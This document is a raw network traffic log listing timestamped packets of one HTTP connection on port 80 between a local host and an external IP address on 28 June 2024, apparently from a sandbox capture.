Jun 28, 2024 22:32:06.900085926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900091887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900099993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900110006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900115967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900125027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900145054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900168896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900624990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900635004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900645018 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900654078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.900675058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.900693893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.987983942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.987994909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988003016 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988008976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988013983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988112926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988123894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988132954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.988162994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.988230944 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989079952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989103079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989111900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989130020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989171028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989219904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989228964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989238977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989248991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989270926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989294052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989312887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989340067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989362955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989392996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989415884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989424944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989429951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989439011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989470959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989507914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989543915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989553928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989559889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989563942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989598989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989631891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989691973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989700079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989708900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989717960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989727020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989736080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989777088 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989842892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989850998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989860058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989870071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989881039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989886999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.989908934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.989929914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990118980 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990128040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990138054 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990147114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990159035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990164995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990178108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990187883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990195990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990202904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990211964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990221024 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990227938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990238905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990246058 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990269899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990462065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990472078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990482092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990492105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990499973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990509987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990540981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990573883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990725040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990734100 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990745068 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990753889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990767002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990775108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990782022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990789890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990798950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990808010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990818024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990824938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990832090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990842104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.990852118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.990878105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991039038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991049051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991059065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991066933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991074085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991079092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991090059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991107941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991149902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991192102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991202116 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991211891 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991220951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991228104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991236925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991245985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991255045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991261959 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991270065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991281033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991290092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991298914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991307020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991317987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991324902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991348982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991849899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991859913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991868973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991877079 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991889954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991899967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991908073 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991916895 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991923094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991931915 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991945028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991955042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991962910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991971016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.991978884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.991991043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992001057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992007971 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992016077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992028952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992034912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992047071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992055893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992063999 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992075920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992110968 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992408037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992418051 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992433071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992440939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992448092 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992456913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992470980 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992477894 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992502928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992536068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992552042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992562056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992571115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992579937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992588043 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992597103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992607117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992611885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992619991 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992626905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992636919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992645979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992652893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992662907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992671967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992679119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992687941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992701054 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992705107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992712975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.992727041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.992750883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.993197918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993211031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993220091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993230104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993240118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.993246078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993256092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993263006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.993274927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:06.993299961 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:06.993320942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080631971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080653906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080665112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080729008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080749035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080758095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080782890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080790997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080801010 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080807924 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080817938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080851078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080851078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.080862045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.080909014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081722021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081760883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081765890 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081772089 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081792116 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081808090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081861019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081868887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081881046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081887960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081903934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081918955 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081944942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081954956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081964970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.081979990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.081990957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082010984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082106113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082114935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082123041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082133055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082138062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082142115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082153082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082159996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082179070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082227945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082237005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082248926 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082253933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082262039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082278967 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082285881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082298040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082319975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082376957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082386017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082396030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082406998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082413912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082434893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082459927 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082518101 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082528114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082552910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082567930 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082601070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082609892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082619905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082629919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082638025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082644939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082652092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082659006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082674026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082689047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082731009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082771063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082834005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082843065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082851887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082861900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082870960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082876921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082885981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082894087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082901955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.082920074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.082937002 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083055973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083066940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083090067 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083101034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083107948 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083138943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083309889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083317995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083328962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083338022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083344936 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083353996 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083360910 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083368063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083375931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083383083 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083399057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083405018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083415031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083420992 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083432913 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083437920 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083446026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083451986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083462954 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083470106 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083482027 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083488941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083508968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083518982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083525896 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083544970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083703041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083713055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083739042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083749056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083863974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083873034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083885908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083892107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083900928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083908081 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083915949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083924055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083931923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:07.083939075 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:07.083947897 CEST	80	49731	85.28.47.4	192.168.2.4
